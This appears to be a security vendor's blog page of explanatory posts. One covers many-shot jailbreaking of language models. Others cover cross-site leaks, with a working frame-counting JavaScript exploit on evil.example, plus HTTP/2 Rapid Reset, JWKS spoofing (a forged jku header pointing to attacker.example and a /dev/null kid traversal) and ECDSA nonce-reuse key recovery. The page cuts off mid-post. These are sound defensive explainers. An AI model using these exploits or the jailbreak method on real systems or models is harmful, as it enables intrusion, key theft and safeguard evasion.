Author: UnboundCompute

  • Many Shot Jailbreaking: How a Long Context Window Becomes an Attack Surface

    Many Shot Jailbreaking: How a Long Context Window Becomes an Attack Surface

    Many shot jailbreaking is a way to talk a language model into answering a harmful question by burying that question at the end of a very long prompt full of fake examples. The attacker writes out dozens or even hundreds of invented dialogues where a pretend assistant cheerfully answers the kind of request the real model is trained to refuse. Then they ask the real question. The model has just read a stack of evidence that the expected behavior here is to comply, so a fair share of the time it does.

    In context learning, the capability the attack abuses

    A language model learns two ways. The slow way is training, where weights are tuned over a huge corpus and then frozen. The fast way is in context learning, which happens at inference time and changes nothing in the weights. You show the model a few examples inside the prompt, pairs of input and the output you want, and it picks up the pattern and applies it to the next input. Give it three English sentences paired with their French translations and a fourth English sentence, and it will translate, even though you never used the word translate.

    People rely on this every day to steer models without retraining. It is also the exact mechanism many shot jailbreaking turns against the model. The same pull that makes a model copy your translation examples makes it copy a long run of examples where an assistant answers dangerous questions. The model is not judging whether the examples are legitimate, it reads them as a signal of what comes next.

    Why long context windows changed the threat model

    For a long time prompts were short. A model might accept a couple of thousand tokens, room for a handful of in context examples and little else. With only a few examples to work from, a refusal trained into the model usually wins, because the attacker cannot show the behavior enough times to overpower what the model learned in training.

    Then context windows grew by orders of magnitude, into the hundreds of thousands of tokens and beyond. That space was added for good reasons, such as reading whole documents or large codebases at once. But the same room that holds a long document holds a long list of fabricated dialogues, and the attacker now has space for hundreds of fake examples in one prompt. The capability that makes long context useful is the capability that makes this attack possible. A bigger window is a bigger surface.

    How many shot jailbreaking is built

    The structure is plain, which is part of why it works. The prompt is one long sequence of turns that all follow the same shape: a question that should be refused, followed by a fake assistant answer that complies. Only at the very end does the attacker place the question they actually care about, in the same format as the staged turns before it. Here is the abstract shape, with placeholders standing in for content that would never appear in a real defensive writeup:

    User: [a question of a type the model should refuse]
    Assistant: [a fabricated answer where the fake assistant complies]
    
    User: [another such question]
    Assistant: [another fabricated compliant answer]
    
    ... repeated dozens to hundreds of times ...
    
    User: [the attacker's real target question, same format]
    Assistant:

    By the final turn the model has read a wall of in context evidence that the assistant here answers these questions, so the fabricated turns outweigh the refusal it would otherwise give.

    Why it works: the success rate scales with the number of shots

    This is not hit or miss. As the number of fake examples, the shots, goes up, the probability of a harmful response goes up too. Researchers who studied this found the effectiveness follows a power law over a wide range of shot counts, climbing steadily as you add more examples until it levels off. Few examples, little effect. Many examples, a much higher chance of compliance.

    The reason this matters is the link back to in context learning. The helpful kind follows the same shape of scaling curve as the number of demonstrations grows. The jailbreak is not a separate trick that happens to scale. It is in context learning working as designed, pointed at a behavior you did not want.

    The model is doing what it was built to do, learn from the examples in front of it. The attacker just chose the examples.

    It generalizes, and stronger models can be more exposed

    Two findings make this harder to wave away. The first is that the effect is not tied to one kind of request. The same many example structure raises compliance across many different task types, because in context learning is general by nature. It is not a keyword trick aimed at one topic.

    The second is counterintuitive. Larger and more capable models can be more susceptible, not less. A model that learns from in context examples faster and with fewer of them is, by the same token, quicker to absorb the pattern in a stack of fabricated dialogues. The quality that makes a model good at picking up your intent makes it good at picking up an attacker’s.

    Defenses that hold up

    The obvious idea is to shorten the context window so there is no room for hundreds of examples. That is a poor trade. Long context is one of the main reasons these models are useful, and capping it throws away the legitimate work the window was added for, while an attacker can still pack a lot into whatever window remains. The approaches that work better act on the prompt before it reaches the model:

    • Fine tuning the model to recognize the pattern. Train the model on examples of this attack so it learns to treat a long run of staged compliant dialogues as a red flag and refuse at the end no matter how many examples precede it. This raises the bar but does not always close the gap.
    • Classifier based input filtering. Run incoming prompts through a separate classifier that looks for the telltale structure, many repeated turns of question and compliant answer in the same format, and flag or strip them before they reach the model. Catching the shape, not just the words, is the point, because the words vary but the structure repeats.
    • Prompt modification. Rewrite or reformat the incoming prompt to break the demonstrated pattern, so the staged turns no longer read as a clean run of examples to imitate.

    The common thread is that you intervene on the input rather than asking the frozen model to resist a pull it was built to feel. None of these is a clean fix on its own, and stacking them is the honest posture. The scaling behavior comes from published research across many tasks, but what any given attacker achieves depends on the model and the filtering in front of it, so the trend is real while the exact numbers vary by setup.

    The broader lesson

    Many shot jailbreaking sits next to other prompt level attacks that turn a model’s own behavior into the weapon, such as indirect prompt injection and system prompt extraction. They all share a shape. A feature the model was given on purpose, reading external content, holding a hidden system prompt, learning from in context examples, is also the way in. The capability is the attack surface.

    The bug here is an assumption baked into how the system is used: that the examples in a prompt are there to help. An attacker who fills that space with fabricated examples is not breaking a rule, they are using the model exactly as designed against a goal nobody approved. Finding flaws of that kind means asking what each capability quietly assumes, which is the approach behind UnboundCompute, an autonomous security researcher that tests a web application’s assumptions and proves what it finds with evidence. Learn more on our about page.

    This attack is one entry in our AI Agent Security Field Guide, a map of how AI agents get attacked and how to defend each one.

    Frequently asked questions

    What is many shot jailbreaking?

    It is a long context attack that fills a prompt with many fabricated dialogues where a fake assistant answers harmful questions, then places the attacker’s real question at the end. The model reads the staged examples as a demonstration of how it should respond and is more likely to comply. The structure repeats the same question and compliant answer shape dozens to hundreds of times.

    Why does many shot jailbreaking work?

    It abuses in context learning, the way a model picks up a pattern from examples inside the prompt without any change to its weights. As the number of fake examples grows, the chance of a harmful response rises in a regular power law pattern. The attack is the same mechanism that makes helpful in context examples work, just pointed at a behavior you did not want.

    Are larger models safer against this attack?

    Not necessarily, and sometimes the opposite. Larger and more capable models tend to learn from in context examples faster and with fewer of them. That same speed makes them quicker to absorb the pattern in a stack of fabricated dialogues, so capability and exposure can rise together.

    How do you defend against many shot jailbreaking?

    Shrinking the context window is a poor trade because it throws away the long context that makes the model useful. Better defenses act on the prompt before it reaches the model: fine tuning the model to recognize the attack pattern, and classifier based filtering that detects the many example structure in the input. Stacking these and treating the repeated staged turns as a signal is the honest posture.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Prompt Template Injection Linter lets you lint a prompt template for the injection paths described above. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Cross Site Leaks: Reading Secrets You Are Never Allowed to See

    Cross Site Leaks: Reading Secrets You Are Never Allowed to See

    The same origin policy is the rule that stops one website from reading the contents of another. Open a bank tab and a random tab in the same browser, and the random tab cannot read a byte of the bank’s pages. For the response body, that holds. The class of attacks called cross site leaks, usually written XS-Leaks, works around it from the side. A malicious page cannot read the bank’s response, but it can watch how the browser reacts to that response, and the reaction often depends on the secret.

    The same origin policy hides the response, not the reaction

    Here is the gap the attack lives in. The same origin policy is built to stop reading across origins. It says nothing about observing. When your page embeds a resource from another site, the browser still does real work: it sends the request with your cookies attached, gets a response, and decides whether to fire a load event or an error, how many frames to render, how long it took, whether to redirect. Each is a behavior the attacker sees from their own page, depending on data they are forbidden to read. So they never ask what the response said. They ask a question with a visible side effect, like did this image load or fail, and pick it so the answer maps to a secret.

    What you can observe without reading

    Several browser behaviors leak across origins. None hands over the response; all depend on it.

    Error events: did it load or fail

    Point an <img>, <script>, or <iframe> at a cross origin URL and the browser fires an onload handler if the resource loaded and an onerror handler if it did not. You cannot see the bytes, but you can see which handler ran. If a server returns a normal page for one query and an HTTP error for another, that load versus error split is a one bit answer. The xsleaks.dev wiki documents this as Error Events.

    Frame counting with window.length

    A few window properties stay readable across origins by design, and the most useful is window.length, the number of subframes a page rendered. Open a cross origin page with window.open or embed it in an iframe, read .length, and you learn how many frames it drew. If a page renders one frame per search result, the count tells you how many results a query returned. The wiki calls this Frame Counting, and a real Facebook leak used it to read private facts about a logged in user.

    Timing, cache, status codes, redirects

    • Timing. A bigger response, or one that needs more processing, takes longer to load. Time an embed for a noisy read on response size or server work.
    • Cache probing. Load a resource and time it. A fast load means it was already in the victim’s cache, which tells you the victim visited the page that cached it. It is a close cousin of web cache deception.
    • Status codes and redirects. A 200 and a 404 behave differently for an embedded resource, and a redirect can change the frame count. Each difference is another oracle.

    A worked example of cross site leaks

    Put the pieces together. Say victim.example has a search page at /orders?q= that only shows results to the logged in account, and you want a secret order number shaped like ORD- followed by digits. The victim visits the attacker page while logged in elsewhere, so the embedded request carries the victim’s cookies and the server answers as the victim. The attacker embeds a query, reads the frame count to see whether it matched, and walks the secret digit by digit.

    // Attacker page on evil.example. The victim is logged in to
    // victim.example in another tab. We never read a response body.
    
    function matches(query) {
      return new Promise(resolve => {
        const f = document.createElement('iframe');
        // The victim's cookie rides along, so the server answers
        // as the logged in user.
        f.src = 'https://victim.example/orders?q=' + query;
        f.onload = () => {
          // window.length is readable across origins.
          // One rendered frame per matching result.
          resolve(f.contentWindow.length > 0);
          f.remove();
        };
        document.body.appendChild(f);
      });
    }
    
    let known = 'ORD-';
    for (let pos = 0; pos < 12; pos++) {
      for (const c of '0123456789') {
        if (await matches(known + c)) { known += c; break; }
      }
    }
    // known now holds the secret, recovered one character at a time.

    Ten guesses per position, twelve positions, and the attacker rebuilds a secret they were never allowed to read. The same shape works with onload versus onerror if the server errors on an empty result. This family is called XS-Search, and it scales: binary split a range to cut the probes, and run many in parallel.

    The attacker never reads the answer. They ask the browser a question with a visible side effect, and the side effect is the answer.

    Why being logged in is the whole point

    None of this works against a stranger. The attack needs the victim’s session to ride along on the embedded request, so the server returns the personalized response whose behavior leaks the secret. That dependency on an ambient session is exactly what CSRF abuses, and it points at the best defense: stop the cookie from going out on a cross site request at all.

    Defenses that actually close the gap

    Defense is layered, hitting the problem at three points: the cookie, the request, and the window.

    SameSite cookies

    A cookie marked SameSite=Lax is not sent on cross site subrequests like images, scripts, and iframes, and SameSite=Strict withholds it on cross site top level navigation too. With the session cookie gone, the embedded request is anonymous, the server returns the generic page, and the behavior no longer tracks the victim’s secret. Browsers now default to Lax, which already removes a slice of the easy oracles.

    Fetch Metadata and the Sec-Fetch-Site header

    Browsers attach a set of Sec-Fetch-* headers describing where a request came from. The key one is Sec-Fetch-Site, which tells the server whether the request was same origin, same site, or cross site. The server can read it and reject cross site requests it has no reason to serve, returning a 403. Google’s Fetch Metadata guidance calls this a Resource Isolation Policy: it stops the request at the door, so there is no behavior left to observe.

    COOP, COEP, CORP and cross origin isolation

    The cross origin headers were built as a direct answer to XS-Leaks and Spectre. Each cuts a specific channel:

    • Cross-Origin-Opener-Policy (COOP) severs the window reference between your page and one you opened. Set to same-origin, it puts the new document in its own context group, so an attacker cannot read window.length or other window properties off it. That kills frame counting and the named window leaks.
    • Cross-Origin-Resource-Policy (CORP) lets a server declare that its resource may not be embedded by other origins at all. The browser blocks the load, so the load versus error oracle never gets a clean signal.
    • Cross-Origin-Embedder-Policy (COEP) requires every resource a page loads to opt in through CORP or CORS. On its own it does little, but paired with COOP it turns on the strongest mode.

    Set COOP to same-origin and COEP to require-corp and the page becomes cross origin isolated: the browser gives the document its own process and shuts off the cross origin window relationships and shared state the leaks depend on. It is the most complete protection and the most work to adopt, since every third party resource has to play along.

    The assumption that breaks

    Every web app trusts one quiet idea: that the same origin policy keeps a secret in a response safe from any page that cannot read it. The policy is real and it does guard the bytes. What it never promised to guard is the browser’s behavior around those bytes, visible from anywhere. The secret was never only in the response. It was also in the load event, the frame count, the timing, the cache, the status code, the redirect. An attacker who cannot open the envelope can still weigh it, shake it, and time how long it takes to arrive.

    That gap, between what a control is documented to do and what an attacker can infer around its edges, is the kind of thing you find by testing the assumption, not trusting the label. UnboundCompute is an early stage autonomous security researcher for web apps and APIs that probes those edges and proves what it finds with evidence. Read more about that approach on our about page.

    Frequently asked questions

    What is a cross site leak?

    A cross site leak, or XS-Leak, is a side channel attack where a malicious page infers small pieces of cross origin information about a logged in victim. It never reads the protected response. Instead it watches behaviors the same origin policy does not hide, such as whether an embedded resource loads or errors, how many frames a page rendered, how long a request took, or whether a resource was already cached.

    Why does the same origin policy not stop XS-Leaks?

    The same origin policy is built to stop one site from reading another site’s response body, and it does that well. It says nothing about observing how the browser reacts to that response. An attacker cannot read the bytes, but they can watch the load or error event, the frame count, or the timing, and each of those reactions can depend on the secret. The leak lives in the gap between reading and observing.

    How do SameSite cookies help against cross site leaks?

    Most XS-Leaks need the victim’s session to ride along on the embedded request so the server returns the personalized response. A cookie set to SameSite=Lax is not sent on cross site subrequests like images and iframes, and SameSite=Strict withholds it even more broadly. With the session cookie gone, the request is anonymous and the response no longer tracks the victim’s secret, which removes a large slice of the easy oracles.

    What do COOP, COEP, and CORP do?

    These cross origin headers each cut a specific leak channel. Cross-Origin-Opener-Policy severs the window reference to a page you opened, so an attacker cannot read properties like window.length off it and frame counting fails. Cross-Origin-Resource-Policy lets a server forbid other origins from embedding its resource at all. Cross-Origin-Embedder-Policy paired with COOP makes a page cross origin isolated, which puts it in its own process and shuts off the shared state the leaks rely on.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • HTTP/2 Rapid Reset: How a Cancel Frame Became a Record DDoS

    HTTP/2 Rapid Reset: How a Cancel Frame Became a Record DDoS

    In October 2023 Google, Cloudflare, and AWS disclosed a denial of service technique that broke every prior request rate record at once, and they all named the same root cause: a feature of HTTP/2 working exactly as designed. The attack is called HTTP/2 Rapid Reset, tracked as CVE-2023-44487, and the clever part is that it never breaks a single protocol rule. It opens a request, lets the server start the expensive work, then cancels it a moment later, faster than the server’s own limits were meant to allow. This post walks the mechanism at the frame level.

    Why HTTP/2 multiplexes in the first place

    HTTP/1.1 sends one request at a time down a connection. A slow response at the front holds up everything queued behind it. That is head of line blocking, and it is why fetching many things at once meant opening several separate TCP connections side by side.

    HTTP/2 fixed that by putting many independent streams inside one TCP connection. Each stream is one request and response, identified by a number, and the bytes of all streams are chopped into frames that interleave on the wire. A HEADERS frame starts a stream and carries the method, path, and headers. DATA frames carry the body. Because every frame is tagged with its stream id, the server can work on streams 1, 3, and 5 at once and return their responses in whatever order they finish. RFC 9113 defines all of this.

    The limit that was supposed to keep this safe

    If a client could open unlimited streams on one connection, a server would drown in concurrent work. So HTTP/2 has a setting called SETTINGS_MAX_CONCURRENT_STREAMS. The server advertises a number, commonly around 100, and the client may not have more than that many streams open at once. Only streams in the open or half closed state count against the limit, so a client wanting more parallelism waits for a current stream to finish first. That ceiling is the safety valve the whole design leans on.

    The HTTP/2 Rapid Reset trick, frame by frame

    Now the cancel. HTTP/2 lets either side abandon a stream instantly by sending a RST_STREAM frame for that stream id. It is normal and useful: a browser navigates away, a fetch gets aborted, so the client tells the server to stop wasting effort. The frame is tiny, and the stream is closed the moment it is sent.

    Here is the detail the attack hangs on. When a client sends RST_STREAM, that stream immediately stops counting against MAX_CONCURRENT_STREAMS. The slot frees at once. So the client can open a stream and cancel it in the same breath, and the canceled stream never occupied a slot long enough to matter. The concurrency limit was meant to throttle how fast a client creates work. The reset slips straight past it:

    HEADERS    stream 1   (GET /expensive-search?q=...)
    RST_STREAM stream 1   error_code = CANCEL
    HEADERS    stream 3   (GET /expensive-search?q=...)
    RST_STREAM stream 3   error_code = CANCEL
    ...   (repeat in a tight loop)

    Watch what the two ends do. On the server, that one HEADERS frame is enough to begin a request. The server parses it, allocates stream state, runs middleware, maybe proxies the whole thing to an upstream back end that now starts its own work. A moment later the RST_STREAM arrives. The stream is marked canceled, but the request it kicked off is already moving through the stack, and the upstream may keep grinding for an answer nobody will read. The client paid almost nothing, two small frames. The server, and everything behind it, paid the full price of a request.

    The concurrency limit counts streams that are open. The attacker’s streams are never open long enough to be counted, yet each one still sets the full cost of a request in motion.

    Because the cancel frees the slot instantly, the client is not capped at 100 requests in flight. It is capped only by how fast it can write frame pairs onto the connection, far faster than the server can finish the work each pair triggers. One connection becomes a firehose of back end requests, inside the rules the entire time.

    Why HTTP/1.1 could not do this

    The same idea does not work on HTTP/1.1, and the reason is structural. HTTP/1.1 has no cheap in protocol cancel. The only way to abandon a request mid flight is to tear down the whole TCP connection, which costs the attacker a full handshake before the next one. And without multiplexing, one connection processes one request at a time, so head of line blocking stops you from stacking pending requests onto it. To flood a server over HTTP/1.1 you need a flood of connections, each one visible, countable, and rate limitable at the network layer. HTTP/2 collapsed all of that onto a single connection and handed the client a free, instant cancel. That is what made the request per second numbers explode.

    The records back this up. AWS reported peaks around 155 million requests per second. Cloudflare measured 201 million, nearly triple its previous record. Google absorbed 398 million, the largest it had ever seen. The striking part is the source: Cloudflare noted the attack came from a botnet of only about 20,000 machines. The amplification was in how many requests each connection could conjure before the server could push back, not in the number of attackers. It is a cousin of algorithmic resource attacks like a hash flooding attack, and a relative of the protocol level desyncs behind HTTP request smuggling.

    Mitigations that hold

    There is no malicious payload to filter; every frame is valid. The defenses are about accounting: watch the resets, and stop doing free work for a client that abuses the cancel.

    • Count and rate limit resets per connection. Track how many RST_STREAM frames a connection sends. A healthy client cancels occasionally; one that cancels almost everything it opens is running the attack. Set the threshold strictly, since a loose limit lets a flood through before it trips.
    • Close connections that cross the reset threshold. Once a connection’s cancel rate looks abusive, send GOAWAY and tear it down. Forcing the attacker back to a TCP handshake restores the cost HTTP/2 had removed and pushes the fight to the network layer, where connection floods are an old, handled problem.
    • Cap total streams per connection lifetime. Limit how many streams a single connection may ever create, not just how many run at once. The attack depends on recycling one connection through endless streams, so a lifetime cap bounds the damage any one connection can do.
    • Cancel the upstream work too. Make sure a canceled stream actually aborts the upstream request and frees the query behind it, so a reset does not leave orphaned work running for nobody.

    The assumption that broke

    The cancel was not a bug. It was an efficiency feature, added so clients could stop paying for work they no longer wanted, and the attack ran it in the other direction to make the server pay instead. A feature built to reduce waste became an amplifier on demand. HTTP/2 assumed a canceled stream costs nothing, because the client asked to stop. That holds when clients are honest. It falls apart in bad faith, because the cost of a request is set when the HEADERS frame lands, not when the response is read, and the cancel arrives too late to call it back. The concurrency limit guarded the wrong moment: it counted what was open, not what had already been started, and that gap is the whole attack. That kind of flaw, a feature whose safety rests on an unstated good faith assumption, is exactly what an autonomous researcher built to test an application’s assumptions and prove findings with evidence is meant to surface. More on that approach on our about page.

    Frequently asked questions

    What is the HTTP/2 Rapid Reset attack?

    It is a denial of service technique tracked as CVE-2023-44487, disclosed in October 2023 by Google, Cloudflare, and AWS. The attacker opens an HTTP/2 stream with a HEADERS frame so the server starts work, then immediately cancels it with a RST_STREAM frame, in a tight loop. Because a canceled stream stops counting against the connection’s concurrency limit at once, one connection can trigger far more backend requests than the limit was meant to allow.

    Why could HTTP/1.1 not be used for this attack?

    HTTP/1.1 has no cheap in protocol cancel. The only way to abandon a request is to close the whole TCP connection, which forces a new handshake before the next request. It also lacks multiplexing, so one connection handles one request at a time and head of line blocking stops an attacker from stacking many pending requests on it. HTTP/2 removed both limits by putting many streams on one connection and adding an instant cancel frame.

    How big were the record HTTP/2 Rapid Reset attacks?

    AWS reported peaks near 155 million requests per second, Cloudflare measured about 201 million, and Google absorbed roughly 398 million requests per second, the largest it had recorded. Cloudflare noted the traffic came from a botnet of only about 20,000 machines. The amplification came from how many requests each connection could generate, not from the number of attacking machines.

    How do you mitigate the HTTP/2 Rapid Reset attack?

    Count RST_STREAM frames per connection and rate limit them with a strict threshold, then close any connection that crosses it by sending GOAWAY. Cap the total number of streams a single connection may create over its whole lifetime, not just how many run at once. Make sure a canceled stream actually cancels the upstream work so a reset does not leave orphaned requests running.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • JWKS Spoofing: When a JWT Header Tells the Server Which Key to Trust

    JWKS Spoofing: When a JWT Header Tells the Server Which Key to Trust

    A signed JWT has a header, and that header is not protected by the signature. It can carry fields like kid, jku, and x5u that tell the server where to find the key that verifies the token. JWKS spoofing is what happens when a server trusts those attacker controlled fields to locate its verification key, because then the attacker gets to choose the key the server checks against, and a key the attacker chose is a key the attacker can sign with.

    The header decides which key, and the header is not signed

    A signed JWT is three base64url segments joined by dots: header.payload.signature. RFC 7515, JSON Web Signature, defines the header parameters a verifier may read to pick a key. Three of them point outward, at a key the server has to go and load:

    • kid, the key id. RFC 7515 calls it a hint indicating which key was used, and the structure of its value is left unspecified. A server uses it to pick one key out of many.
    • jku, the JWK Set URL. It points at a URL that returns a JWKS, a JSON document holding one or more public keys.
    • x5u, the X.509 URL. It points at a URL holding the X.509 certificate or chain for the signing key.

    The signature covers the header and the payload. It does not cover where the key came from, because the key is the thing doing the covering. So the verifier reads these fields out of an unauthenticated header and uses them to decide what to trust. If it does that without question, the token is choosing its own verifier.

    The token is handing the server an address and saying check me against whatever lives there. A safe server already knows its keys and never asks the token for directions.

    JWKS spoofing through jku and x5u that point at the attacker

    This is the cleanest form of the attack. The server fetches the verification key from the URL in the header. So the attacker stands up their own key pair, hosts the public half as a JWKS on a server they control, and puts that URL in jku.

    The forged header and the matching malicious JWKS look like this:

    # Forged JWT header
    {
      "alg": "RS256",
      "typ": "JWT",
      "kid": "evil-key-1",
      "jku": "https://attacker.example/keys/jwks.json"
    }
    
    # JWKS hosted at that URL, holding the attacker's PUBLIC key
    {
      "keys": [
        {
          "kty": "RSA",
          "kid": "evil-key-1",
          "use": "sig",
          "n": "0vx7agoebGcQSuuPiLJXZ......",
          "e": "AQAB"
        }
      ]
    }
    

    The attacker signs the token with the private key that matches that modulus. The server reads jku, fetches the attacker’s JWKS, finds the key whose kid matches, and verifies the signature against the attacker’s public key. It matches, because the attacker holds the private half. The token is accepted, and the attacker can set sub or role to anything. x5u is the same attack wearing a certificate instead of a raw JWK. RFC 7515 says implementations that support jku or x5u must use TLS when fetching, but TLS only proves you reached the host in the URL, and the attacker owns the host.

    Attack two: kid path traversal and kid injection

    Even a server that does not fetch remote URLs can be fooled through kid. The value is opaque, so naive code often plugs it straight into a file path or a database query to look up the key.

    Path traversal to a predictable file

    If the server reads a key from disk using kid as part of the path, the attacker can walk out of the keys directory and point at a file whose contents they can guess. The classic target is a file that is effectively empty or fully known:

    # kid walks out of the key store and lands on an empty file
    { "alg": "HS256", "kid": "../../../../../../dev/null" }
    

    On many systems /dev/null reads back as an empty string. If the server then treats the file contents as an HMAC secret, the secret is the empty string, and the attacker signs the token with an empty key. The signature matches, because both sides used nothing as the key. Any world readable file with stable contents works the same way once the attacker knows the bytes.

    SQL injection in the kid lookup

    When the key lookup is a database query, an unsanitized kid is a SQL injection point. The attacker crafts a kid whose injected query returns a value they control, and that returned value becomes the verification key. A union based payload can make the query hand back a string the attacker already knows, which they then use as the signing key.

    Keys with guessable contents

    The pattern under both of these is the same. If the attacker can steer kid at any key whose contents they can predict, an empty file, a static asset shipped with the app, a well known default, they sign with that value and the server accepts it. The key never had to be theirs. It only had to be knowable.

    This is not algorithm confusion

    JWKS spoofing is often confused with the JWT algorithm confusion attack, and they are different bugs with a different root cause. Algorithm confusion abuses the alg field: the attacker downgrades to alg:none, or flips RS256 to HS256 so the server reuses its RSA public key as an HMAC secret. There the key is the server’s own, and the trick is changing how it gets used. JWKS spoofing abuses the key location fields instead. The algorithm can stay honest at RS256 the whole time. What moves is which key the server loads, from kid, jku, or x5u, and the attacker supplies or predicts that key. One bug lies about the algorithm. The other lies about the key. A server can be vulnerable to one, both, or neither, so test for them separately.

    Defenses

    • Never trust jku or x5u without an exact allowlist. Compare the full URL against a short list of known issuer endpoints, host and path, before fetching anything. Reject everything else. Matching only the host invites open redirect and parser tricks, so pin the exact URLs.
    • Treat kid as untrusted input. It is attacker controlled, so validate and normalize it. Map it through a fixed lookup table of known key ids rather than concatenating it into a file path or a query. If it does not match a known id, reject the token.
    • Pin your keys. The verifier should already hold its trusted keys, loaded from configuration or a known JWKS the server fetches on its own schedule, never from a location the token names.
    • Keep keys separate per algorithm. A key meant for RSA verification should not be reachable as an HMAC secret, which also closes the algorithm confusion path next door.
    • Reject unexpected alg. Pin an explicit allowlist such as ["RS256"] on the verify call so a swapped algorithm is refused before any key lookup happens.

    These failures sit close to broader authorization problems, since a forged token is usually a way to reach data or actions the user was never granted. It is worth reading what an access control vulnerability looks like to see where a spoofed token actually does its damage.

    Why this rewards understanding the app

    You do not find JWKS spoofing by replaying a fixed payload. You find it by reading a real token, seeing that the header carries kid or jku, and asking the quiet question the server should have asked itself: where does this key come from, and who got to choose it. The bug is an assumption, that the token would never lie about where its key lives, and the way to surface it is to test that assumption directly. That is the kind of assumption an autonomous researcher built to test an app’s assumptions and prove findings with evidence is meant to catch. You can read more about that approach on our about page.

    Frequently asked questions

    What is JWKS spoofing in a JWT?

    It is an attack where a server trusts the JWT header to decide which key verifies the token. The header can carry kid, jku, and x5u fields that point at a key, and none of them are protected by the signature. If the verifier loads the key from where the token says, an attacker supplies or predicts that key and signs a token the server then accepts as genuine.

    How is JWKS spoofing different from a JWT algorithm confusion attack?

    Algorithm confusion abuses the alg field, downgrading to none or flipping RS256 to HS256 so the server misuses its own key. JWKS spoofing abuses the key location fields instead, so the algorithm can stay honest while the attacker changes which key gets loaded through kid, jku, or x5u. One lies about the algorithm, the other lies about the key. A server can be vulnerable to one, both, or neither.

    Why can the kid header lead to key takeover?

    The kid value is opaque and attacker controlled, so naive code drops it straight into a file path or a database query. A path traversal value like ../../../dev/null can point the server at an empty file, which becomes an empty signing secret the attacker can match. An injectable kid can make a SQL query return a value the attacker already knows, which then becomes the verification key.

    How do you defend against JWKS spoofing?

    Never fetch a key from a URL the token names unless that exact URL is on a short allowlist of known issuer endpoints. Treat kid as untrusted input, validate it, and map it through a fixed table of known key ids rather than building a path or query from it. Pin your trusted keys in configuration, keep keys separate per algorithm, and reject any unexpected alg before the key lookup runs.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: JWT Security Inspector lets you decode a token and check it for the weaknesses described above. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • ECDSA Nonce Reuse: How One Repeated Number Leaks the Private Key

    ECDSA Nonce Reuse: How One Repeated Number Leaks the Private Key

    ECDSA nonce reuse is the failure where two signatures are made with the same secret random value k, which lets anyone who sees both solve two short equations and recover the signer’s long term private key. Every ECDSA signature pulls in one fresh random number, the nonce, written k. ECDSA sits behind Bitcoin, TLS certificates, SSH keys, and the code signing on game consoles, so that one repeated number is not a small leak.

    How does ECDSA signing work?

    ECDSA signing hashes the message, picks a fresh nonce, and combines both with the private key. A curve has a fixed base point G and a large prime n called the order. Your private key is a secret number d. Your public key is the point Q = d*G, and the curve is built so that going from Q back to d is infeasible. To sign a message you first hash it down to a number z.

    Then signing does this. Pick a random nonce k between 1 and n - 1. Compute the point R = k*G, and take its x coordinate modulo n to get the first half of the signature, r. Compute the second half as s = k^-1 * (z + r*d) mod n. The signature is the pair (r, s). Two things matter here. The value r depends only on k, not on the message. And k must be secret and unique, because s mixes k with your private key d in a single linear equation.

    The nonce is a one time mask over the private key. Reuse the mask and the key shows through.

    Why does ECDSA nonce reuse leak the private key?

    It leaks the key because the repeat is both visible and algebraically fatal. Since r comes from k alone, two signatures made with the same k have the same r. That repeated r is a flashing light an attacker spots by scanning signatures, and once they see it the algebra is short. MITRE tracks the general form as CWE-323, reusing a nonce and key pair.

    Say you sign two different message hashes z1 and z2 with the same nonce k and the same key d:

    s1 = k^-1 * (z1 + r*d) mod n
    s2 = k^-1 * (z2 + r*d) mod n

    Subtract the second from the first. The r*d term is identical in both, so it cancels:

    s1 - s2 = k^-1 * (z1 - z2) mod n

    Now k is the only unknown, and it falls out with one modular inverse:

    k = (z1 - z2) / (s1 - s2) mod n

    With k in hand, go back to the first equation and solve for d. Rearranging s1 = k^-1 * (z1 + r*d) gives:

    d = (s1*k - z1) / r mod n

    That is the private key. Two signatures, two subtractions, two inverses, and the secret the whole curve was designed to protect is gone.

    A worked example with small numbers

    Real curves use 256 bit numbers, so let us shrink everything to make the arithmetic readable. Take order n = 23 and private key d = 7. The signer reuses nonce k = 5, which produces r = 13. The two message hashes are z1 = 10 and z2 = 3. Working modulo 23, the signatures come out to:

    s1 = 5^-1 * (10 + 13*7) = 14 * 9  = 11 mod 23
    s2 = 5^-1 * (3  + 13*7) = 14 * 2  = 5  mod 23

    The attacker sees two signatures that share r = 13, so they know k was reused. They recover it:

    k = (z1 - z2) / (s1 - s2) = 7 / 6 = 7 * 4 = 5 mod 23

    (Here 6^-1 = 4 because 6*4 = 24 = 1 mod 23.) Then they recover the key:

    d = (s1*k - z1) / r = (11*5 - 10) / 13 = 45 / 13 = 22 * 16 = 7 mod 23

    Out comes d = 7, the exact private key. No curve was broken. The only mistake was feeding the math the same k twice.

    What happened to the Sony PlayStation 3?

